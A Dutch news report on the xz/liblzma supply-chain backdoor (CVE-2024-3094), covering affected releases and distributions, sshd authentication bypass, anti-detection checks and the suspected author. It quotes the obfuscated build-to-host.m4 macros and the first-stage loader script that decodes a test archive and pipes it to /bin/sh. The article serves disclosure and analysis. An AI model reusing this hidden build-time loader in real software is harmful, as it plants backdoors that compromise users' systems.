In de xz/liblzma-bibliotheek is een backdoor ontdekt die toegang verleent via sshd

In het pakket XZ Utils, dat de bibliotheek liblzma en hulpprogramma's voor het werken met gegevens gecomprimeerd in het '.xz'-formaat omvat, is een backdoor (CVE-2024-3094) ontdekt die het mogelijk maakt om gegevens die door applicaties die met de liblzma-bibliotheek zijn verbonden, te onderscheppen en te wijzigen. Het primaire doel van de backdoor is de OpenSSH-server, die in sommige distributies is gekoppeld aan de libsystemd-bibliotheek, die op haar beurt liblzma gebruikt. Het koppelen van sshd aan de kwetsbare bibliotheek stelt aanvallers in staat om toegang te krijgen tot de SSH-server zonder authenticatie.

De backdoor was aanwezig in de officiële releases 5.6.0 en 5.6.1, gepubliceerd op 24 februari en 9 maart, die in enkele distributies en repositories zijn opgenomen, zoals Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide en 40-beta, openSUSE factory en tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Alle gebruikers van de xz-releases 5.6.0 en 5.6.1 wordt aangeraden om dringend terug te schakelen naar versie 5.4.6.

Onder de factoren die het probleem verlichten, is dat de liblzma-versie met de backdoor niet is opgenomen in de stabiele releases van de grote distributies, maar wel van invloed was op openSUSE Tumbleweed en Fedora 40-beta. Arch Linux en Gentoo gebruikten de kwetsbare versie van zx, maar zijn niet vatbaar voor aanvallen, omdat ze de patch voor systemd-notify die leidt tot de koppeling van sshd aan liblzma niet toepassen. De backdoor raakt alleen x86_64-systemen die zijn gebaseerd op de Linux-kernel en de C-bibliotheek Glibc.

De code die de backdoor activeert was verborgen in m4-macro's van het bestand build-to-host.m4, dat door de automake-toolkit wordt gebruikt bij de bouw. Tijdens het bouwen, door het uitvoeren van ingewikkelde obfuscatie-operaties op basis van archieven (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), die werden gebruikt voor de test van de functionaliteit, werd een objectbestand met kwaadaardige code gegenereerd dat in de bibliotheek liblzma werd opgenomen en de logica van enkele van zijn functies veranderde. De activerende m4-macro's van de backdoor waren opgenomen in de tar-archieven van de releases, maar ontbraken in de Git-repository. Tegelijkertijd waren de kwaadaardige testarchieven aanwezig in de repository, wat betekent dat de persoon die de backdoor had ingebracht, toegang had tot zowel de repository als de release-vormingsprocessen.

Bij het gebruik van liblzma in applicaties konden kwaadaardige wijzigingen worden gebruikt om gegevens te onderscheppen of te wijzigen, en om invloed uit te oefenen op de werking van sshd. In het bijzonder verving de kwaadaardige code de functie RSA_public_decrypt om het authenticatieproces in sshd te omzeilen. De backdoor had bescherming tegen detectie en vertoonde zichzelf niet bij ingestelde omgevingsvariabelen LANG en TERM (d.w.z. bij het starten van een proces in de terminal) en bij niet ingestelde omgevingsvariabelen LD_DEBUG en LD_PROFILE, en werd alleen geactiveerd bij het uitvoeren van het uitvoerbare bestand /usr/sbin/sshd. De backdoor beschikte ook over middelen om te detecteren of het in debugomgevingen werd uitgevoerd.

In het bijzonder werden in het bestand m4/build-to-host.m4 constructies gebruikt: gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’

In de eerste constructie vond de operatie grep het bestand tests/files/bad-3-corrupt_lzma2.xz, waarvan het uitpakken het script genereerde: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../.. /config.status; then eval `grep ^srcdir= ../.. /config.status` srcdir=„../.. /$srcdir” fi export i=„((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####

Hoe cybergasten erin zijn geslaagd toegang te krijgen tot de infrastructuur van het xz-project is nog niet volledig duidelijk. Ook is het nog niet duidelijk hoeveel gebruikers en projecten zijn gecompromitteerd als gevolg van de backdoor-actie. De vermoedelijke auteur van de backdoor (JiaT75 — Jia Tan), die schadelijke code-archieven in de repository heeft geplaatst, had contact met de ontwikkelaars van Fedora en verstuurde pull-requests naar Debian met betrekking tot de overstap van distributies naar de xz 5.6.0-tak, zonder verdacht te zijn, aangezien hij al twee jaar meewerkt aan de ontwikkeling van xz en de op één na meeste wijzigingen heeft aangebracht. Naast het xz-project was de vermoedelijke auteur van de backdoor ook betrokken bij de ontwikkeling van de xz-java en xz-embedded pakketten. Bovendien werd Jia Tan enkele dagen geleden toegevoegd aan de groep maintainers van het XZ Embedded-project, dat wordt gebruikt in de Linux-kernel.

De kwaadaardige wijziging werd ontdekt na analyse van de overmatige CPU-gebruik en de fouten die door valgrind werden weergegeven bij het verbinden via ssh met systemen op basis van Debian sid. Het is opmerkelijk dat in de release xz 5.6.1 wijzigingen zijn opgenomen die door de vermoedelijke auteur van de backdoor zijn voorbereid als reactie op klachten over vertraging en storingen van sshd, die zijn ontstaan na de update naar versie zx 5.6.0 met de backdoor. Daarnaast heeft Jia Tan vorig jaar wijzigingen aangebracht die niet compatibel waren met de verificatiemodus '-fsanitize=address', wat leidde tot de uitschakeling ervan tijdens fuzzing-testing.

Bron: opennet.ru

Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers 🔥 Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers | ProHoster